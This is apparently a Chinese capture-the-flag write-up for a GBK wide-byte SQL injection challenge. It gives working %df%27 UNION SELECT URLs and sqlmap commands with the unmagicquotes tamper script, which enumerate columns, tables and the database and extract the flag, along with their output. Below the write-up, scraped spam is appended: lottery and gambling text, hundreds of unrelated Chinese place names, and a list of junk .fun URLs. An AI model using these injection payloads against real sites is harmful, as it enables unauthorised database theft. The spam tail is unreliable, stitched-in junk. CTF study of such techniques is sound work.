1. <mark id="s2zkv"><ol id="s2zkv"></ol></mark>
      <mark id="s2zkv"></mark>

        (宽字节注入) 手注+sqlmap

        进入题目后先简单尝试一下。

        分享图片

         

        很明显的宽字节注入。

        宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

        手工注入
        1、判断列数:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
        order by 3 时报错,说明只有两列。

        2、各类信息:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
        union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
        [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

        3、库名:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
        sae-chinalover

        4、表名:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
        union select 2,group_concat(table_name)
        from information_schema.tables
        where table_schema=database()%23
        ctf,ctf2,ctf3,ctf4,news

        5、ctf4表的列名:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
        union select 2,group_concat(column_name)
        from information_schema.columns
        where table_name=0x63746634%23
        id,flag

        这里注意:要将表名ctf4转为16进制

        这里提供一个字符串转16进制的网站:

        http://www.5ixuexiwang.com/str/hex.php

        转了16进制之后记得在前面加上0x

        6、flag列的数据:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
        union select 2,(select flag from ctf4)%23
        flag{this_is_sqli_flag}

        sqlmap跑法
        1、查看有哪些库:
        sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
        这个时侯就要用到一个脚本了:

        脚本名:unmagicquotes.py

        作用:宽字符绕过

        分享图片

         

         

        2、表名:

        sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

        分享图片

         

         

        3、列名:

        sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

         分享图片

         

         

        4、flag列的数据:
        sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

        分享图片

        相关文章
        相关标签/搜索
        最准三码中特2020年香港六合马会开奖结果现场直播开奖历史资料记录在线查询网二四六天天好彩免费资料大全 泰顺县| 玉林市| 黑水县| 隆回县| 大渡口区| 嘉义市| 秭归县| 海安县| 洛隆县| 永康市| 合江县| 卢湾区| 开远市| 萨嘎县| 新竹市| 乌兰浩特市| 盐源县| 北流市| 汝南县| 依安县| 雅江县| 锦州市| 宜川县| 重庆市| 太湖县| 炎陵县| 中超| 海原县| 托克托县| 嘉禾县| 平利县| 镇安县| 美姑县| 双流县| 昌都县| 珠海市| 肥东县| 靖江市| 共和县| 商丘市| 盐源县| 阿拉尔市| 论坛| 富民县| 若尔盖县| 和龙市| 武夷山市| 竹北市| 东宁县| 延庆县| 金平| 兴化市| 凤庆县| 蛟河市| 奉节县| 阳城县| 吉水县| 思南县| 新竹市| 海阳市| 汶上县| 红原县| 清丰县| 桂平市| 新巴尔虎左旗| 盐城市| 延安市| 吉林省| 自贡市| 平塘县| 临猗县| 郯城县| 宁乡县| 扶沟县| 泌阳县| 上栗县| 平和县| 无锡市| 扎赉特旗| 思南县| 娄底市| 望都县| 林州市| 彩票| 阿拉善盟| 黔东| 台北县| 广德县| 建始县| 电白县| 安顺市| 桂阳县| 浠水县| 越西县| 澄迈县| 孟州市| 大石桥市| 吉水县| 都兰县| 江西省| 渭源县| 上高县| 万源市| 双江| 北辰区| 吉林省| 绥滨县| 朝阳市| 石家庄市| 耒阳市| 阳谷县| 巩义市| 兴安盟| 六盘水市| 应用必备| 喀喇沁旗| 青田县| 基隆市| 多伦县| 余江县| 定安县| 遵化市| 鹰潭市| 集安市| 东阿县| 磴口县| 台南县| 临邑县| 克什克腾旗| 迭部县| 泰来县| 玉林市| 基隆市| 图木舒克市| 华安县| 偃师市| 日照市| 德兴市| 绥中县| 车致| 长汀县| 准格尔旗| 潮州市| 塔河县| 九寨沟县| 彭阳县| 普定县| 泗洪县| 揭东县| 阿拉尔市| 伊吾县| 台湾省| 交城县| 开原市| 明光市| 武邑县| 白朗县| 利川市| 涞水县| 彝良县| 高青县| 南开区| 桂阳县| 金秀| 甘肃省| 调兵山市| 汽车| 永清县| 阜平县| 河津市| 平利县| 华坪县| 西林县| 桦川县| 台北市| 邹平县| 府谷县| 牡丹江市| 河津市| 金堂县| 南涧| 丹凤县| 南皮县| 厦门市| 浮梁县| 平邑县| 微山县| 扬州市| 探索| 吉安县| 临泽县| 平潭县| 榕江县| 冀州市| 芦溪县| 咸宁市| 新龙县| 万州区| 云浮市| 麻城市| 连城县| 满城县| 吉隆县| 宜宾市| 乌拉特前旗| 潞城市| 渑池县| 丽江市| 公主岭市| 平顺县| 邓州市| 镇远县| 高台县| 灌南县| 潜山县| 陈巴尔虎旗| 泰兴市| 昌图县| 哈密市| 平乐县| 西乌珠穆沁旗| 黄浦区| 永平县| 闽清县| 个旧市| 石河子市| 潼关县| 灌云县| 宁国市| 正阳县| 竹溪县| 基隆市| 北川| 大荔县| 乌苏市| 平江县| 东乡县| 新源县| 蕉岭县| 和静县| 宁南县| 马公市| 通山县| 宜宾市| 石渠县| 青川县| 岑溪市| 尼木县| 乐都县| 铜梁县| 安宁市| 石棉县| 永康市| 雷波县| 饶河县| 临夏市| 永春县| 宜宾县| 紫阳县| 乌兰县| 宁夏| 静乐县| 建瓯市| 潍坊市| 清水河县| 威远县| 正阳县| 图们市| 栾城县| 竹溪县| 五常市| 裕民县| 阿拉善右旗| 双鸭山市| 澄江县| 德兴市| 绿春县| 无极县| 尚志市| 锡林浩特市| 桦南县| 宿松县| 德惠市| 吐鲁番市| 南川市| 丽水市| 沙湾县| 剑川县| 广昌县| 青海省| 新泰市| 海原县| 新绛县| 台安县| 上饶县| 瑞昌市| 濮阳县| 鸡西市| 华安县| 邹平县| 休宁县| 太谷县| 广元市| 汝州市| 漾濞| 康平县| 广丰县| 化州市| 涿州市| 太谷县| 罗山县| 博爱县| 平远县| 铅山县| 新巴尔虎右旗| 安远县| 汪清县| 和静县| 新邵县| 博野县| 措美县| 寿宁县| 镇远县| 偏关县| 瑞昌市| 苍梧县| 阳泉市| 陈巴尔虎旗| http://3g.bo2020clicks.fun http://3g.yqo3j8rl6v.fun http://3g.gz1980enterc.fun http://3g.gz1980approachc.fun http://3g.yqo9j8rl5v.fun http://3g.bo2020reverses.fun http://3g.bo2020bays.fun http://3g.yqo6j1rl8v.fun http://3g.bo2020pops.fun http://3g.gz1980cupc.fun http://3g.bo2020skins.fun http://3g.gz1980linkc.fun http://3g.bo2020works.fun http://3g.gz1980guaranteec.fun http://3g.yqo8j4rl6v.fun http://3g.bo2020handles.fun http://3g.gz1980hozec.fun http://3g.jvz1j1r2o.fun